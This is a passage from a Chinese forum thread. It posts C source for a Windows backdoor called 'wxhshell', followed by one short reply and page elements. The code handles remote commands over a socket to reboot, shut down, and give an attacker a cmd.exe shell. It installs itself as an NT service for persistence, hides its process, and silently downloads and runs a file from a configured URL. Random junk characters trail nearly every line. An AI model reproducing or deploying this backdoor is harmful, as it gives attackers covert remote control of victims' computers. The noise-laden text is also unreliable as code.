  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #k*P/I~  
  } yB~` A>~M  
  else { Q@"mL  
E` aAPk_ y  
    switch(cmd[0]) { pg:1AAhT[  
  U#{^29ik=o  
  // 帮助 k,UezuV  
  case '?': { h%yw'?s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X5`#da  
    break; ?}D|]i34  
  } IS9}@5`'  
  // 安装 6}aH>(3!A  
  case 'i': { ]BiLLDz(  
    if(Install()) \gE6KE<?p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sgy_?Y  
    else "`'' eV3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FPB O=?H.  
    break; (ev(~Wc  
    } 5\6S5JyIL  
  // 卸载 Mw,7+  
  case 'r': { |&hu3-(  
    if(Uninstall()) eJv_`#R&Of  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NrrnG]#p1  
    else ^A"TY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dLq)Z*r  
    break; G6?+Qz r  
    } ^Cm9[1p  
  // 显示 wxhshell 所在路径 xct{Tv[FO  
  case 'p': { ?k7z 5ow  
    char svExeFile[MAX_PATH]; 1aQR9zg%  
    strcpy(svExeFile,"\n\r"); RIDzNdM>U  
      strcat(svExeFile,ExeFile); 1dgy-$H~  
        send(wsh,svExeFile,strlen(svExeFile),0); (4WAoye|  
    break; ck WK+  
    } #A RQB2V  
  // 重启 $aFCe}3b<  
  case 'b': { M-Tjp'=*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q{~WWv  
    if(Boot(REBOOT)) NLz[ F`I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fA k]]PU  
    else { ? !dy  
    closesocket(wsh); [A.ix}3mm  
    ExitThread(0); 3wQUNv0z  
    } gq^j-!Q)Q<  
    break; wePhH*nQ>  
    } %%dQIlF  
  // 关机 tlnU2TT_f  
  case 'd': { =@%Ukrd@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~rN:4Q]/  
    if(Boot(SHUTDOWN)) %rmn+L),;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b85r=tm   
    else { %)|pUa&  
    closesocket(wsh); [vJLj>@  
    ExitThread(0); oVK3=m@ {  
    } #'@pL0dj  
    break; >+ P5Zm(_  
    } ID#p5`3n  
  // 获取shell vIL'&~C\y  
  case 's': { d=q&% gqN  
    CmdShell(wsh); J*nQ(*e  
    closesocket(wsh); ~ry B*eZH  
    ExitThread(0); ?51Y&gOEZ  
    break; 'K L" i  
  } t 8}R?%u  
  // 退出 iE~][_%U  
  case 'x': { g p2S   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CTG:C5OK  
    CloseIt(wsh); 3u)NkS=  
    break; .;1tu+S  
    } Q=,6W:j  
  // 离开 hLqRF4>L  
  case 'q': { ZCT\4Llv#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); eVXlQO  
    closesocket(wsh); [dQL6k";b  
    WSACleanup(); "}ms|  
    exit(1); ","O8'$OC  
    break; fbG+.'  
        } &zxqVI$4  
  } \-]zXKl2k  
  } 95wi~^^  
B=>VP-:  
  // 提示信息 )2tDX=D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xzZ2?z Wi  
} F1Jd-3ei  
  } 0gLl>tF[H  
/#lqv)s'  
  return; M/O Y "eL  
} u n)YK  
lBpy0lo#  
// shell模块句柄 z154lY}K  
int CmdShell(SOCKET sock) H n^)Xw  
{ 0Z m^6T  
STARTUPINFO si; t-gLh(-.  
ZeroMemory(&si,sizeof(si)); D?Mj<||  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `/"rs@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i7%v2_  
PROCESS_INFORMATION ProcessInfo; >-%}'iz+  
char cmdline[]="cmd"; SJ4+s4!l <  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nT;Rwz$3  
  return 0; mm l`,t8  
} ]T?Py)  
\~(scz$  
// 自身启动模式 sa7F-XM  
int StartFromService(void) At0ahy+  
{ ?xRx|_}e  
typedef struct U5iyvU=UG  
{ _x2i=SFo*$  
  DWORD ExitStatus; lWR".  
  DWORD PebBaseAddress; ]UMt  
  DWORD AffinityMask; |#Gug('  
  DWORD BasePriority; ki8;:m4  
  ULONG UniqueProcessId; `hVi!Q]*P  
  ULONG InheritedFromUniqueProcessId;  v<_wf  
}   PROCESS_BASIC_INFORMATION; EZY <k#  
S.I3m-  
PROCNTQSIP NtQueryInformationProcess; a(eKb2CX  
&tJ!cTA.-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \U?$ r[P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \C&[BQ\  
}MiEbLduN  
  HANDLE             hProcess; oOAn 5t@  
  PROCESS_BASIC_INFORMATION pbi; l!d |luqbA  
sU=7)*$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }Z,xF`  
  if(NULL == hInst ) return 0; }3TTtd7  
:;g7T-_q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \ ";^nk*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -Gyj]v5y`c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,bGYixIfYZ  
r3BQo[ 't  
  if (!NtQueryInformationProcess) return 0; om1@;u8u  
C]bre^q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \,ko'4 8@  
  if(!hProcess) return 0; wyi%!H  
J6C/`)+w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &<>NP?j}  
SqosJ}K  
  CloseHandle(hProcess); y[64O x  
~x-v%x6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |lG7/\A  
if(hProcess==NULL) return 0; /7CV7=^d,  
N fBH  
HMODULE hMod; $[xS>iuD  
char procName[255]; 1Uaj}= @M  
unsigned long cbNeeded; Aw) I:d7F  
f =MP1q[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _Oc(K "v  
1va~.;/rG  
  CloseHandle(hProcess); {y%cTuC=  
!zZ3F|+HB  
if(strstr(procName,"services")) return 1; // 以服务启动 crbph.0  
hqW),^\>'  
  return 0; // 注册表启动 g@2f& m  
} Kk\TW1w3  
{bP )Fon  
// 主模块 =3dR-3  
int StartWxhshell(LPSTR lpCmdLine) V=de3k&p  
{ hQ@E2Xsv  
  SOCKET wsl; Ju@8_ ?8=  
BOOL val=TRUE; NyR,@n1  
  int port=0; WI6h G  
  struct sockaddr_in door; ;W?mQUo:P8  
7SJbrOL4Q-  
  if(wscfg.ws_autoins) Install(); fda)t1u\8  
Pq(7lua7  
port=atoi(lpCmdLine); <]f{X<ef  
HJ+ Q7)  
if(port<=0) port=wscfg.ws_port; <  UD90}  
^u:bgwP  
  WSADATA data; ' >k1h.i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >K!$@]2F  
TXS{=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h7kn >q;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O<P(UT"  
  door.sin_family = AF_INET; HJ_8 `( '  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sH.,O9'r  
  door.sin_port = htons(port); ] B?NDxU  
&>xz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &Lbh?C  
closesocket(wsl); mEg3.|  
return 1; sLd%m+*p  
} [4r<WvUaM  
c"diNbm[  
  if(listen(wsl,2) == INVALID_SOCKET) { ,B#*<_?E5  
closesocket(wsl); I23"DBR3  
return 1; uN=f( -"  
} i1 c[Gk.o  
  Wxhshell(wsl); >c$3@$  
  WSACleanup(); 48_( 'z*>  
QYEGiT   
return 0; X]_9g[V  
SB`xr!~A]  
} 0j2mTF(C  
+k V$ @qH  
// 以NT服务方式启动 \A6 }=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kZ=2# .  
{ q ,+29  
DWORD   status = 0; VAp 1{  
  DWORD   specificError = 0xfffffff; ]*D~>q"#\  
.O SQ8W }  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &7 9F Uac  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -b)3+#f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :1;"{=Yx}  
  serviceStatus.dwWin32ExitCode     = 0; Rm}G4Pq  
  serviceStatus.dwServiceSpecificExitCode = 0; "5v^6R9e  
  serviceStatus.dwCheckPoint       = 0; S{Zf}8?6$  
  serviceStatus.dwWaitHint       = 0; .hjN*4RY  
eH~T PH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !DD4Bqez  
  if (hServiceStatusHandle==0) return; 8Y_lQfJa  
,BR W=  
status = GetLastError(); UgD)O:xaU  
  if (status!=NO_ERROR) vGOO"r(xL  
{ y,K> Wb9e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FH{p1_kZ=  
    serviceStatus.dwCheckPoint       = 0; l5D4 ?`|  
    serviceStatus.dwWaitHint       = 0; Y?-Ef sK  
    serviceStatus.dwWin32ExitCode     = status; 1k`gr&S  
    serviceStatus.dwServiceSpecificExitCode = specificError; xZ(d*/6E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C}ASVywc,1  
    return; Q n.3 B  
  } 03_M+lv  
:(4q\~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4O:HT m  
  serviceStatus.dwCheckPoint       = 0; J ~KygQ3%  
  serviceStatus.dwWaitHint       = 0; T-]UAN"O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 79I"F'  
} 9Q1w$t~Y  
cH5RpeP  
// 处理NT服务事件,比如:启动、停止 e7tio!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) DR]4Tcz#  
{ "rVM23@ tq  
switch(fdwControl) ff=RKKnN  
{ [ua[A;K  
case SERVICE_CONTROL_STOP: c:+UC  
  serviceStatus.dwWin32ExitCode = 0; jUDE)~h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B1]FB|0's  
  serviceStatus.dwCheckPoint   = 0; \FF|b"E_=  
  serviceStatus.dwWaitHint     = 0; 1~j,A[&|<  
  { MP.ye|i4Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rV2>;FG  
  } $ e.Bz `  
  return; T!Lv%i*|Y  
case SERVICE_CONTROL_PAUSE: D |fo:Xp,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _ q AT%.  
  break; +n)bWB%  
case SERVICE_CONTROL_CONTINUE: rrq7UJ;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /iJsa&W}  
  break; /||8j.Tm  
case SERVICE_CONTROL_INTERROGATE: j^eM i  
  break; Cv/3-&5S  
}; _X@ Q`d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C4t~k  
} &B++ "f  
uax kGEXr  
// 标准应用程序主函数 >5zD0!bA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xK4E+^ b  
{ \jS^+Xf?^  
uKB V`I  
// 获取操作系统版本 FI)0.p  
OsIsNt=GetOsVer(); A0Q1"b=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8%xiHPVg  
NxB/U_j  
  // 从命令行安装 6Q&i=!fQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); ''k}3o.K[  
238z'I+$G/  
  // 下载执行文件 5d}bl{  
if(wscfg.ws_downexe) { 84s:cO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [|YJg]i-  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,S~A]uH'  
} ZS@R?  
vkW;qt}yO  
if(!OsIsNt) { KqNsCT+j  
// 如果时win9x,隐藏进程并且设置为注册表启动 &yqk96z  
HideProc(); Xob(4  
StartWxhshell(lpCmdLine); FY]Et= p  
} W#wC  
else 5"+;}E|q  
  if(StartFromService()) RhE|0N=  
  // 以服务方式启动 d ;,C[&  
  StartServiceCtrlDispatcher(DispatchTable); pvRa  
else JqEo~]E]  
  // 普通方式启动 [.;8GMW  
  StartWxhshell(lpCmdLine); : %U lNk  
9$%S<v  
return 0; Ev48|X6  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八